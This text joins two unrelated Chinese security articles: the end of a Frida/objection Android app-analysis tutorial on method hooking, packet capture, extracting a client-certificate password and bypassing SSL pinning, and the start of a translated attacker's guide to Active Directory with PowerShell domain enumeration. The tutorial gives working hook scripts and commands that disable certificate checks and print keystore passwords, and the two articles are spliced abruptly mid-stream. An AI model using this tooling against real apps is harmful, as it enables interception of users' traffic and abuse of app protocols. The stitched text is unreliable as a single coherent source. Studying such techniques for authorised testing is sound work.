2`，并可以正常播放音乐；然后我们按照上文的方法，搜索一下与蓝牙相关的类，搜到一个高度可疑的类：`android.bluetooth.BluetoothDevice`。运行以下命令，`hook`这个类：
# android hooking watch class android.bluetooth.BluetoothDevice
使用`jobs
list`命令可以看到`objection`为我们创建的`Hooks`数为`57`，也就是将`android.bluetooth.BluetoothDevice`类下的所有方法都`hook`了。
这时候我们在`设置→声音→媒体播放到`上进行操作，在蓝牙耳机与“此设备”之间切换时，会命中这些`hook`之后，此时`objection`就会将方法打印出来，会将类似这样的信息“吐”出来：
com.android.settings on (google: 9) [usb] # (agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getService()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.isConnected()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getService()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getAliasName()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getAlias()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getName()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.equals(java.lang.Object)
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getService()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.isConnected()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getService()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getAliasName()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getAlias()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getName()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.equals(java.lang.Object)
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.equals(java.lang.Object)
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getBatteryLevel()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.equals(java.lang.Object)
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getBatteryLevel()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.equals(java.lang.Object)
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getBondState()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getAliasName()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getAlias()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getName()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getBatteryLevel()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.equals(java.lang.Object)
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getBatteryLevel()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.equals(java.lang.Object)
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getBondState()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getAliasName()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getAlias()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getName()
(agent) [h0u5g7uclo] Called android.bluetooth.BluetoothDevice.getService()
可以看到我们的切换操作，调用到了`android.bluetooth.BluetoothDevice`类中的多个方法。
* `hook`方法的参数、返回值和调用栈
在这些方法中，我们对哪些方法感兴趣，就可以查看哪些个方法的参数、返回值和调用栈，比如想看`getName()`方法，则运行以下命令：
# android hooking watch class_method android.bluetooth.BluetoothDevice.getName --dump-args --dump-return --dump-backtrace
注意最后加上的三个选项`--dump-args --dump-return --dump-backtrace`，为我们成功打印出来了我们想要看的信息，其实返回值`Return
Value`就是`getName()`方法的返回值，我的蓝牙耳机的型号名字`OnePlus Bullets Wireless
2`；从调用栈可以反查如何一步一步调用到`getName()`这个方法的；虽然这个方法没有参数，大家可以再找个有参数的试一下。
* `hook`方法的所有重载
`objection`的`help`中指出，在`hook`给出的单个方法的时候，会`hook`它的所有重载。
# help android hooking watch class_method
Command: android hooking watch class_method
Usage: android hooking watch class_method <fully qualified class method> <optional overload>
(optional: --dump-args) (optional: --dump-backtrace)
(optional: --dump-return)
Hooks a specified class method and reports on invocations, together with
the number of arguments that method was called with. This command will
also hook all of the methods available overloads unless a specific
overload is specified.
If the --include-backtrace flag is provided, a full stack trace that
lead to the methods invocation will also be dumped. This would aid in
discovering who called the original method.
Examples:
android hooking watch class_method com.example.test.login
android hooking watch class_method com.example.test.helper.executeQuery
android hooking watch class_method com.example.test.helper.executeQuery "java.lang.String,java.lang.String"
android hooking watch class_method com.example.test.helper.executeQuery --dump-backtrace
android hooking watch class_method com.example.test.login --dump-args --dump-return
那我们可以用`File`类的构造器来试一下效果。
# android hooking watch class_method java.io.File.$init --dump-args
可以看到`objection`为我们`hook`了`File`构造器的所有重载，一共是6个。在设置界面随意进出几个子设置界面，可以看到命中很多次该方法的不同重载，每次参数的值也都不同，见下图2-9。
图2-9 方法重载的参数和值都不同
### 2.3 ZenTracer（hook）
前文中介绍的`objection`已经足够强大，优点是`hook`准确、粒度细。这里再推荐个好友自己写的批量`hook`查看调用轨迹的工具[ZenTracer](https://github.com/hluwa/ZenTracer)，可以更大范围地`hook`，帮助读者辅助分析。
# pyenv install 3.8.0
# git clone https://github.com/hluwa/ZenTracer
# cd ZenTracer
# pyenv local 3.8.0
# python -m pip install --upgrade pip
# pip install PyQt5
# pip install frida-tools
# python ZenTracer.py
上述命令执行完毕之后，会出现一个`PyQt`画出来的界面，如图2-10所示。
图2-10 `PyQt`窗口
点击`Action`之后，会出现匹配模板（Match RegEx）和过滤模板（Black
RegEx）。匹配就是包含的关键词，过滤就是不包含的关键词，见下图2-11。其代码实现就是
图2-11 匹配模板和过滤模板
通过如下的代码实现，`hook`出来的结果需要通过匹配模板进行匹配，并且筛选剔除掉过滤模板中的内容。
var matchRegEx = {MATCHREGEX};
var blackRegEx = {BLACKREGEX};
Java.enumerateLoadedClasses({
onMatch: function (aClass) {
for (var index in matchRegEx) {
// console.log(matchRegEx[index]);
// 通过匹配模板进行匹配
if (match(matchRegEx[index], aClass)) {
var is_black = false;
for (var i in blackRegEx) {
//如果也包含在过滤模板中，则剔除
if (match(blackRegEx[i], aClass)) {
is_black = true;
log(aClass + "' black by '" + blackRegEx[i] + "'");
break;
}
}
if (is_black) {
break;
}
log(aClass + "' match by '" + matchRegEx[index] + "'");
traceClass(aClass);
}
}
},
onComplete: function () {
log("Complete.");
}
});
通过下述代码实现的模糊匹配和精准匹配：
function match(ex, text) {
if (ex[1] == ':') {
var mode = ex[0];
if (mode == 'E') {
ex = ex.substr(2, ex.length - 2);
return ex == text;
} else if (mode == 'M') {
ex = ex.substr(2, ex.length - 2);
} else {
log("Unknown match mode: " + mode + ", current support M(match) and E(equal)")
}
}
return text.match(ex)
}
通过下述代码实现的导入导出调用栈及观察结果：
def export_onClick(self):
jobfile = QFileDialog.getSaveFileName(self, 'export', '', 'json file(*.json)')
if isinstance(jobfile, tuple):
jobfile = jobfile[0]
if not jobfile:
return
f = open(jobfile, 'w')
export = {}
export['match_regex'] = self.app.match_regex_list
export['black_regex'] = self.app.black_regex_list
tree = {}
for tid in self.app.thread_map:
tree[self.app.thread_map[tid]['list'][0].text()] = gen_tree(self.app.thread_map[tid]['list'][0])
export['tree'] = tree
f.write(json.dumps(export))
f.close()
def import_onClick(self):
jobfile = QFileDialog.getOpenFileName(self, 'import', '', 'json file(*.json)')
if isinstance(jobfile, tuple):
jobfile = jobfile[0]
if not jobfile:
return
f = open(jobfile, 'r')
export = json.loads(f.read())
for regex in export['match_regex']: self.app.match_regex_list.append(
regex), self.app.match_regex_dialog.setupList()
for regex in export['black_regex']: self.app.black_regex_list.append(
regex), self.app.black_regex_dialog.setupList()
for t in export['tree']:
tid = t[0: t.index(' - ')]
tname = t[t.index(' - ') + 3:]
for item in export['tree'][t]:
put_tree(self.app, tid, tname, item)
我们来完整的演示一遍，比如现在看`java.io.File`类的所有方法，我们可以这样操作，首先是精准匹配：
1. 点击打开“设置”应用；
2. 选择`Action`→`Match RegEx`
3. 输入`E:java.io.File`，点击`add`，然后关闭窗口
4. 点击`Action`→`Start`
可以观察到`java.io.File`类的所有方法都被`hook`了，，并且像`java.io.File.createTempFile`方法的所有重载也被`hook`了，见下图2-12。
图2-12 `ZenTracer`正在进行类的方法`hook`
1. 在“设置”应用上进行操作，打开几个子选项的界面之后，观察方法的参数和返回值；
图2-13 观察参数和返回值
2. 导出`json`来观察方法的调用树，选择`File`→`Export json`，导出为`tmp.json`，使用`vscode`来`format Document`之后，效果如下：
{
"match_regex": [
"E:java.io.File"
],
"black_regex": [],
"tree": {
"2 - main": [
{
"clazz": "java.io.File",
"method": "exists()",
"args": [],
"child": [],
"retval": "false"
},
{
"clazz": "java.io.File",
"method": "toString()",
"args": [],
"child": [
{
"clazz": "java.io.File",
"method": "getPath()",
"args": [],
"child": [],
"retval": "/data/user/0/com.android.settings"
}
],
"retval": "/data/user/0/com.android.settings"
},
{
"clazz": "java.io.File",
"method": "equals(java.lang.Object)",
"args": [
"/data/user/0/com.android.settings"
],
"child": [
{
"clazz": "java.io.File",
"method": "toString()",
"args": [],
"child": [
{
"clazz": "java.io.File",
"method": "getPath()",
"args": [],
"child": [],
"retval": "/data/user/0/com.android.settings"
}
],
"retval": "/data/user/0/com.android.settings"
},
{
"clazz": "java.io.File",
"method": "compareTo(java.io.File)",
"args": [
"/data/user/0/com.android.settings"
],
"child": [
{
"clazz": "java.io.File",
"method": "getPath()",
"args": [],
"child": [],
"retval": "/data/user_de/0/com.android.settings"
},
{
"clazz": "java.io.File",
"method": "getPath()",
"args": [],
"child": [],
"retval": "/data/user/0/com.android.settings"
}
],
"retval": "48"
}
],
"retval": "false"
},
1. 点击`Action`→`Stop`，再点击`Action`→`Clean`，本次观察结束。
2. 也可以使用模糊匹配模式，比如输入`M:java.io.File`之后，会将诸如`java.io.FileOutputStream`类的诸多方法也都`hook`上，见下图2-14。
图2-14 模糊匹配模式
`ZenTracer`的目前已知的缺点，无法打印调用栈，无法`hook`构造函数，也就是`$init`。当然这些“缺点”无非也就是加几行代码的事情，整个工具非常不错，值得用于辅助分析。
## 3 Frida用于抓包
我们拿到一个`app`，做的第一件事情往往是先抓包来看，它发送和接收了哪些数据。收包发包是一个`app`的命门，企业为用户服务过程中最为关键的步骤——注册、流量商品、游戏数据、点赞评论、下单抢票等行为，均通过收包发包来完成。如果对收包发包的数据没有校验，黑灰产业可以直接制作相应的协议刷工具，脱离`app`本身进行实质性业务操作，为企业和用户带来巨大的损失。
### 3.1 推荐抓包环境
由上所述，抓包是每一位安全工程师必须掌握的技能。而抓包一般又分为以下两种情形：
* 应用层：`Http(s)`协议抓包
* 会话层：`Socket`端口通信抓包
在抓包工具的选择上，如果是抓应用层`Http(s)`，推荐的专业工具是`BurpSuite`，如果只是想简单的抓包、用的舒服轻松，也可以使用花瓶（`Charles`）。推荐不要使用`fiddle`，因为它无法导入客户端证书(p12、Client
SSL
Certificates)，对于服务器校验客户端证书的情况无法`Bypass`；如果是会话层抓包，则选择`tcpdump`和`WireShark`相组合的方式。
使用`jnettop`还可以实时查看流量走势和对方`IP`地址，更为直观和生动。
在手机上设置代理时，推荐使用`VPN`来将流量导出到抓包软件上，而不是通过给`WIFI`设置`HTTP`代理的方式。使用`VPN`可以同时抓到`Http(s)`和`Socket`的包，且不管其来自`Java`层还是`so`层。我们常用的代理软件是老牌的`Postern`，开`VPN`服务通过连接到开启`Socks5`服务端的抓包软件，将流量导出去。
当然有些应用会使用`System.getProperty(“http.proxyHost”)、System.getProperty(“http.proxyPort”);`这两个`API`来查看当前系统是否挂了`VPN`，这时候只能用`Frida`或`Xposed`来`hook`这个接口、修改其返回值，或者重打包来`nop`掉。当然还有一种最为终极、最为强悍的方法，那就是制作路由器，抓所有过网卡的包。
制作路由器的方法也很简单，给笔记本电脑装`Kali
Linux`，`eth0`口插网线上网，`wlan0`口使用系统自带的热点功能，手机连上热点上网。史上最强，安卓应用是无法对抗的。
另外，曾经有人问我，像这样的一个场景如何抓包：
>
> 问：最近在分析手机搬家类软件的协议，不知道用什么去抓包，系统应用，不可卸载那种。搬家场景：两台手机打开搬家软件，一台会创建热点，另一台手机连接该热点后，通过搬家软件传输数据。求大佬指点抓包方法。
这个场景是有点和难度的，我们把开热点的手机假设为A，连接热点的手机假设为B。另外准备一台抓包电脑，连接上A开的热点。在B上安装VPN软件`Postern`，服务器设置为抓包电脑，这样B应该可以正常连接到A，B的所有流量也是从抓包电脑走的，可以抓到所有的包。
在抓包的对抗上体现的也是两个原则，一是理解的越成熟思路越多，二是对抗的战场越深上层越无法防御。
### 3.2 `Http(s)`多场景分析
从防护的强度来看，`Https`的强度是远远大于`Http`的；从大型分布式`C/S`架构的设计来看，如果服务器数量非常多、`app`版本众多，`app`在实现`Https`的策略上通常会采取客户端校验服务器证书的策略，如果服务器数量比较少，全国就那么几台、且`app`版本较少、对`app`版本管控较为严格，`app`在实现`Https`的策略时会加上服务器校验客户端证书的策略。
接下来我们具体分析每一种情况。
* Http
对于`Http`的抓包，只要在电脑的`Charles`上配置好`Socks5`服务器，手机上用`Postern`开启`VPN`连上电脑上的`Charles`的`Socks5`服务器，所有流量即可导出到`Charles`上。当然使用`BurpSuite`也是一样的道理。至于具体的操作步骤网上文档浩如烟海，读者可以自行取阅。
一般大型`app`、服务器数量非常多的，尤其还配置了多种`CDN`在全国范围、三网内进行内容分发和加速分发的，通常`app`里绝大多数内容都是走的`Http`。
当然他们会在最关键的业务上，比如用户登录时，配置`Https`协议，来保证最基本的安全。
* Https客户端校验服务器
这时候我们抓`app`的`Http`流量的时候一切正常，图片、视频、音乐都直接下载和转储。
但是作为用户要登录的时候，就会发现抓包失败，这时候开启`Charles`的`SSL`抓包功能，手机浏览器输入`Charles`的证书下载地址`chls.pro/ssl`，下载证书并安装到手机中。
>
> 注意在高版本的安卓上，用户安装的证书并不会安装到系统根证书目录中去，需要`root`手机后将用户安装的证书移动到系统根证书目录中去，具体操作步骤网上非常多，这里不再赘述。
当`Charles`的证书安装到系统根目录中去之后，系统就会信任来自`Charles`的流量包了，我们的抓包过程就会回归正常。
当然，这里还是会有读者疑惑，为什么导入`Charles`的证书之后，`app`抓包就正常了呢？这里我们就需要理解一下应用层`Https`抓包的根本原理，见下图2-15（会话层`Socket`抓包并不是这个原理，后文会介绍`Socket`抓包的根本原理）。
图2-15 应用层`Https`抓包的根本原理
有了`Charles`置于中间之后，本来`C/S`架构的通信过程会“分裂”为两个独立的通信过程，`app`本来验证的是服务器的证书，服务器的证书手机的根证书是认可的，直接内置的；但是分裂成两个独立的通信过程之后，`app`验证的是`Charles`的证书，它的证书手机根证书并不认可，它并不是由手机内置的权威根证书签发机构签发的，所以手机不认，然后`app`也不认；所以我们要把`Charles`的证书导入到手机根证书目录中去，这样手机就会认可，如果`app`没有进行额外的校验（比如在代码中对该证书进行校验，也就是SSL
pinning系列API，这种情况下一小节具体阐述)的话，`app`也会直接认可接受。
* Https服务器校验客户端
既然`app`客户端会校验服务器证书，那么服务器可不可能校验`app`客户端证书呢？答案是肯定的。
在许多业务非常聚焦并且当单一，比如行业应用、银行、公共交通、游戏等行业，`C/S`架构中服务器高度集中，对应用的版本控制非常严格，这时候就会在服务器上部署对`app`内置证书的校验代码。
上一小节中已经看到，单一通信已经分裂成两个互相独立的通信，这时候与服务器进行通信的已经不是`app`、而是`Charles`了，所以我们要将`app`中内置的证书导入到`Charles`中去。
这个操作通常需要完成两项内容：
1. 找到证书文件
2. 找到证书密码
找到证书文件很简单，一般`apk`进行解包，直接过滤搜索后缀名为`p12`的文件即可，一般常用的命令为`tree -NCfhl |grep -i
p12`，直接打印出`p12`文件的路径，当然也有一些`app`比较“狡猾”，比如我们通过搜索`p12`没有搜到证书，然后看`jadx`反编译的源码得出它将证书伪装成`border_ks_19`文件，我们找到这个文件用`file`命令查看果然不是后缀名所显示的`png`格式，将其改成`p12`的后缀名尝试打开时要求输入密码，可见其确实是一个证书，见下图2-17。
图2-17 伪装成`png`的证书文件
想要拿到密码也很简单，一般在`jadx`反编译的代码中或者`so`库拖进`IDA`后可以看到硬编码的明文；也可以使用下面这一段脚本，直接打印出来，终于到了`Frida`派上用场的时候。
function hook_KeyStore_load() {
Java.perform(function () {
var StringClass = Java.use("java.lang.String");
var KeyStore = Java.use("java.security.KeyStore");
KeyStore.load.overload('java.security.KeyStore$LoadStoreParameter').implementation = function (arg0) {
printStack("KeyStore.load1");
console.log("KeyStore.load1:", arg0);
this.load(arg0);
};
KeyStore.load.overload('java.io.InputStream', '[C').implementation = function (arg0, arg1) {
printStack("KeyStore.load2");
console.log("KeyStore.load2:", arg0, arg1 ? StringClass.$new(arg1) : null);
this.load(arg0, arg1);
};
console.log("hook_KeyStore_load...");
});
}
打印出来的效果如下图2-18，直接将密码打印了出来。
图2-18 直接打印出密码
> 当然其实也并不一定非要用`Frida`，用`Xposed`也可以，只是`Xposed`很久不更新了，最近流行的大趋势是`Frida`。
有了证书和密码之后，就可以将其导入到抓包软件中，在`Charles`中是位于`Proxy`→`SSL Proxy Settings`→`Client
Certificates`→`Add`添加新的证书，输入指定的域名或IP使用指定的证书即可，见下图2-19。
图2-19 `Charles`导入客户端证书的界面
### 3.3 `SSL Pinning Bypass`
上文中我们还有一种情况没有分析，就是客户端并不会默认信任系统根证书目录中的证书，而是在代码里再加一层校验，这就是证书绑定机制——`SSL
pinning`，如果这段代码的校验过不了，那么客户端还是会报证书错误。
* Https客户端代码校验服务器证书
遇到这种情况的时候，我们一般有三种方式，当然目标是一样的，都是`hook`住这段校验的代码，使这段判断的机制失效即可。
1. `hook`住`checkServerTrusted`，将其所有重载都置空；
function hook_ssl() {
Java.perform(function() {
var ClassName = "com.android.org.conscrypt.Platform";
var Platform = Java.use(ClassName);
var targetMethod = "checkServerTrusted";
var len = Platform[targetMethod].overloads.length;
console.log(len);
for(var i = 0; i < len; ++i) {
Platform[targetMethod].overloads[i].implementation = function () {
console.log("class:", ClassName, "target:", targetMethod, " i:", i, arguments);
//printStack(ClassName + "." + targetMethod);
}
}
});
}
1. 使用`objection`，直接将`SSL pinning`给`disable`掉
# android sslpinning disable
图2-20 使用`objection`的`ssl pinning diable`功能
2. 如果还有一些情况没有覆盖的话，可以来看看[大佬的代码](https://github.com/WooyunDota/DroidSSLUnpinning)
* 目录ObjectionUnpinningPlus增加了ObjectionUnpinning没覆盖到的锁定场景.([objection](https://github.com/sensepost/objection))
* 使用方法1 attach : frida -U com.example.mennomorsink.webviewtest2 —no-pause -l hooks.js
* 使用方法2 spawn : python application.py com.example.mennomorsink.webviewtest2
* 更为详细使用方法:参考我的文章 [Frida.Android.Practice(ssl unpinning)](https://github.com/WooyunDota/DroidDrops/blob/master/2018/Frida.Android.Practice.md) 实战ssl pinning bypass 章节 .
* ObjectionUnpinningPlus hook list:
* SSLcontext(ART only)
* okhttp
* webview
* XUtils(ART only)
* httpclientandroidlib
* JSSE
* network_security_config (android 7.0+)
* Apache Http client (support partly)
* OpenSSLSocketImpl
* TrustKit
应该可以覆盖到目前已知的所有种类的证书绑定了。
### 3.4 `Socket`多场景分析
当我们在使用`Charles`进行抓包的时候，会发现针对某些`IP`的数据传输一直显示`CONNECT`，无法`Complete`，显示`Sending
request body`，并且数据包大小持续增长，这时候说明我们遇到了`Socket`端口通信。
`Socket`端口通信运行在会话层，并不是应用层，`Socket`抓包的原理与应用层`Http(s)`有着显著的区别。准确的说，`Http(s)`抓包是真正的“中间人”抓包，而`Socket`抓包是在接口上进行转储；`Http(s)`抓包是明显的将一套`C/S`架构通信分裂成两套完整的通信过程，而`Socket`抓包是在接口上将发送与接收的内容存储下来，并不干扰其原本的通信过程。
对于安卓应用来说，`Socket`通信天生又分为两种`Java`层`Socket`通信和`Native`层`Socket`通信。
* `Java`层：使用的是`java.net.InetAddress`、`java.net.Socket`、`java.net.ServerSocket`等类，与证书绑定的情形类似，也可能存在着自定义框架的`Socket`通信，这时候就需要具体情况具体分析，比如谷歌的`protobuf`框架等；
* `Native`层：一般使用的是`C Socket API`，一般`hook`住`send()`和`recv()`函数可以得到其发送和接受的内容
抓包方法分为三种，接口转储、驱动转储和路由转储：
* 接口转储：比如给`outputStream.write`下`hook`，把内容存下来看看，可能是经过压缩、或加密后的包，毕竟是二进制，一切皆有可能；
* 驱动转储：使用`tcpdump`将经过网口驱动时的数据包转储下来，再使用`Wireshark`进行分析；
* 路由转储：自己做个路由器，运行`jnettop`，观察实时进过的流量和`IP`，可以使用`WireShark`实时抓包，也可以使用`tcpdump`抓包后用`WireShark`分析。 | 社区文章 |
# 域渗透：攻击活动目录从 0 到 0.9（一）
|
##### 译文声明
本文是翻译文章
原文地址：<https://zer1t0.gitlab.io/posts/attacking_ad/>
译文仅供参考，具体内容表达以及含义原文为准。
## 为什么会有这篇文章？
本指南的目的是从攻击者的角度来看待活动目录。我将尝试回顾活动目录的不同方面以及每个渗透测试人员应该掌握的术语，以理解可以在域中进行的攻击。
为了理解如何攻击活动目录（以及任何其他技术），我认为重要的是不仅要知道工具怎么用，还要知道工具是如何工作的，它们使用什么协议 /
机制，以及为什么存在这些协议 / 机制。
出现在本文的信息来源于公开的知识以及我在 AD 方面的一些经验。然而，我无法确定这里写的都是对的，所以希望你能自己做一些测试。如果发现有错误，请联系我
[[email protected]](mailto:[email protected])。
此外，我知道这里并没有涵盖关于活动目录的所有内容，但我的本意是至少涵盖理解活动目录及其攻击所需的基本知识，并在将来扩大这一来源。所以，如果你觉得这里漏掉了一些
AD 相关的基础知识，请联系我 [[email protected]](mailto:[email protected])。
免责声明：本文仅用于教育目的，请不要做未授权的攻击。
我尽可能尝试将这些内容介绍清楚，但有一些内容是很复杂的，所以我也引用了很多外部的链接。
**我的主要目的是将所有的活动目录主题收集在一个地方** ，可以用来咨询攻击 / 协议 /
技术，而不是解释一个具体技术的每一个细节（即使我试图这样做）。因此，我们完全鼓励你跟随超链接去发现更多关于特定主题的信息，那里有很多很棒的资源。
顺便说一下， **我想感谢所有的内容创作者**
，他们多年来通过工具、博客、会议讲座等与社区分享知识。我查阅了很多资料，不可能逐一感谢所有的内容创造者，但是如果你发现了你的资源链接，或者你直接合作的资源（通过给工具添加功能，或者帮助你的朋友写文章），又或者间接合作的资源（例如创建一个库/代码片段/语言/操作系统/IDE/编辑器，被一个工具使用，或者一个博客被用作这里链接的文章的基础），
**谢谢你** ~
> 在整个文章中，我将使用 Powershell 来展示如何获取活动目录的信息。
>
> 为此，我将使用 [ActiveDirectory Powershell模块](https://docs.microsoft.com/en-> us/powershell/module/addsadministration/?view=windowsserver2019-ps)，但也可以使用其他工具，如
> [Powerview](https://github.com/BC-> SECURITY/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1)
> 或 [ldapsearch](https://docs.ldap.com/ldap-sdk/docs/tool-> usages/ldapsearch.html) 来代替。
好了，让我们开始吧~
## 什么是活动目录（Active Directory）？
在我看来，活动目录是一个系统，它允许从一个中央服务器上管理连接在同一网络中的一系列的计算机和用户。
当然，这个定义并非完全准确，但我希望它足够简单，能让你了解什么是活动目录。
> Active Directory 网络：
____ __
o | | |==|
/|\ |____| <--------. .-----> | |
/ \ /::::/ | | |__|
v v
.---.
/ /|
.---. |
| | '
| |/
'---'
____ ^ ^ ____
o | | | | | | \o/
/|\ |____| <-------' '-----> |____| |
/ \ /::::/ /::::/ / \
想象一下，一个有数百名员工的公司，每个人都在自己的（可能是 Windows）电脑中工作。这个公司有几个不同的部门，如销售、人力资源、IT 等。
销售部门要求在他们的工作站上安装一个新的程序。或者，每天都有不同办公室的用户忘记了密码，需要恢复。或者，新的实习生小组只需要处理文件服务器上的一些文件。
IT
团队应该在所有销售的工作站中逐一安装该程序吗？他们应该到不同的办公室去恢复用户密码吗？他们是否应该为每个实习生创建一个新的用户，从而只允许查看文件服务器的一个目录中的文件？
好吧，他们可以这样做，虽然这将是一个很大的工作（对公司来说是一种浪费）。但是，由于他们是聪明人，他们把所有的计算机都连接在一个活动目录网络中，所以他们可以从自己的工作站上执行所有这些操作。
活动目录通过维护一个集中的数据库来实现这一点，所有关于用户、计算机、策略、权限等信息都存储在这里。所以，例如 IT
团队可以连接到这个数据库，为实习生创建新的用户，并给他们分配权限，只允许他们读取其部门的特定服务器的指定目录中的文件。
然后，当这些实习生试图登录到活动目录网络内的计算机时，计算机会查询中央数据库，以检查该实习生用户是否存在（以及密码是否正确）。这样，用户可以登录到公司的任何一台电脑上（如果他们有权限的话），通过允许员工只使用一个用户在公司所有的电脑上（可以是工作站、数据库服务器、文件服务器等）做所有的工作。
同样，如果一个用户忘记了密码，她可以提醒 IT 团队，他们可以在这个中央数据库中更改用户密码（并要求用户将这个密码改为只有她知道的新密码）。
就销售部门而言，IT
部门可以在数据库中创建一个新的策略，指出该部门的计算机必须安装指定的程序，以及他们必须如何做。然后，当销售的工作站读取数据库时，它们就会知道它们必须执行这个策略，新的程序就会被安装。
我希望这个例子能让你理解为什么活动目录如此有用，为什么世界上几乎所有的（中大型）组织都使用它。也许你已经使用过它，通常是一台需要在提示你的用户名和密码之前按
Ctrl+Alt+Del 的电脑。
那么……如果有人能窃取一个 IT 用户的密码会怎样？她能更改其他用户的密码吗？以及对数据库的访问？
现在清楚了为什么 活动目录是如此的重要，接下来再看一些它们的术语。
## 域（Domain）
首先，我们一直所说的活动目录网络就是通常所说的 **域**
（Domain）。一个域是一组连接的计算机，它们共享一个活动目录数据库，该数据库由一个域的中央服务器管理，这些服务器被称为 **域控制器** （Domain
Controllers）。
### 域名（Domain name）
每个域都有一个 DNS 名称。在许多公司里，域名就是他们的网站名，例如 `contoso.com`，也有一些有不同的内网域名，如
`contoso.local`。
> 获取当前用户域：
PS C:\Users\Anakin> $env:USERDNSDOMAIN
CONTOSO.LOCAL
PS C:\Users\Anakin> (Get-ADDomain).DNSRoot
contoso.local
> 获取当前计算机域：
PS C:\Users\Anakin> (Get-WmiObject Win32_ComputerSystem).Domain
contoso.local
除了 DNS 名，每个域也可以用 NetBIOS 名标识。例如，域 `contoso.local` 的 **NetBIOS 名**
`CONTOSO`。你可以看到 NetBIOS 名被用于登录操作，在这里使用类似 `CONTOSO\Administrator`来区分用户，这里的第一部分是
NetBIOS 名，第二部分是用户名。
最后，一个域可以通过其 **SID** （安全标识符，Security Identifier）来识别。SID 更多的是被程序使用（使用 Windows
API），而不是被用户使用，但你应该知道如何获得它，以防你需要它。
> 获取域的 DNS 名、NetBIOS 名、SID：
PS C:\Users\Anakin> Get-ADDomain | select DNSRoot,NetBIOSName,DomainSID
DNSRoot NetBIOSName DomainSID
------- ----------- --------- contoso.local CONTOSO S-1-5-21-1372086773-2238746523-2939299801
## 林（Forests）
使用 DNS 名称是非常有用的，因为它允许为管理目的创建子域。
例如，一个公司有一个 **根域** 叫做 `contoso.local`，然后为不同的（通常是大的）部门创建子域名，像 `it.contoso.local`
或者 `sales.contoso.local`。
> 正如你将看到的，活动目录提供了许多方法来组织你的基础设施，所以一个组织可以在不同的地方使用子域，有些为部门创建子域，而有些则为不同的办公室使用子域。
>
> contoso.local 林：
contoso.local
|
.-------'--------.
| |
| |
it.contoso.local hr.contoso.local
|
|
|
webs.it.contoso.local
这种树状的域被称为林 [**Forest**](https://docs.microsoft.com/en-us/windows/win32/ad/forests)。林的名称与域树的根域的名称相同。
> 获取林信息：
PS C:\Users\Anakin> Get-ADForest
ApplicationPartitions : {DC=DomainDnsZones,DC=contoso,DC=local, DC=ForestDnsZones,DC=contoso,DC=local}
CrossForestReferences : {}
DomainNamingMaster : dc01.contoso.local
Domains : {contoso.local}
ForestMode : Windows2016Forest
GlobalCatalogs : {dc01.contoso.local, dc02.contoso.local}
Name : contoso.local
PartitionsContainer : CN=Partitions,CN=Configuration,DC=contoso,DC=local
RootDomain : contoso.local
SchemaMaster : dc01.contoso.local
Sites : {Default-First-Site-Name}
SPNSuffixes : {}
UPNSuffixes : {}
在一个林中，每个域都有自己的数据库以及域控。不过，域用户也可以访问林中的其他域。
这意味着，即使一个域可以是自治的，不需要与其他域进行交互。但从安全角度来看，它并不是孤立的。因为，正如我们将看到的，一个域的用户可以访问同一林中其他域的资源（默认情况下）。然而，一个林的用户默认不能访问其他林的资源，所以能够提供安全隔离的逻辑结构是林。
正如我之前所说， **每个域都有自己的域控制器**
，所以如果一个部门发展得令人难以置信，你可能需要专门的域控制器来处理该部门所有计算机的请求。你可以通过创建一个新的子域来实现这一点，而用户仍然能够访问同一林中其他子域的计算机。
### 功能级别（Functional Levels）
除了 Windows 电脑之外，域 / 林也可以有自己的“版本”，叫做[功能级别](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/raise-active-directory-domain-forest-functional-levels)。基于域 / 林的功能级别，可以使用新的特性。
这些模式是根据使用它们所需的最低 Windows Server 操作系统版本来命名的。例如
[下面的林功能级别](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/564dc969-6db3-49b3-891a-f2f8d0a68a7f)：
* Windows2000
* Windows2000MixedDomains
* Windows2003
* Windows2008
* Windows2008R2
* Windows2012
* Windows2012R2
* Windows2016
> 获取域 / 林的功能级别：
PS C:\Users\Administrator\Downloads> (Get-ADForest).ForestMode
Windows2016Forest
PS C:\Users\Administrator\Downloads> (Get-ADDomain).DomainMode
Windows2016Domain
如果你发现一个具有 Windows2012 级别的域/林，你可以知道所有的域控制器至少是 Windows Server 2012。
你必须了解域的级别，以便使用域的一些特性，例如，“受保护用户”组需要 Windows2012R2 级别。
## 信任（Trusts）
如果域之间建立了信任关系，可以访问对方域内的资源，这种联系就叫信任（Trusts）。[A trust is a connection from a
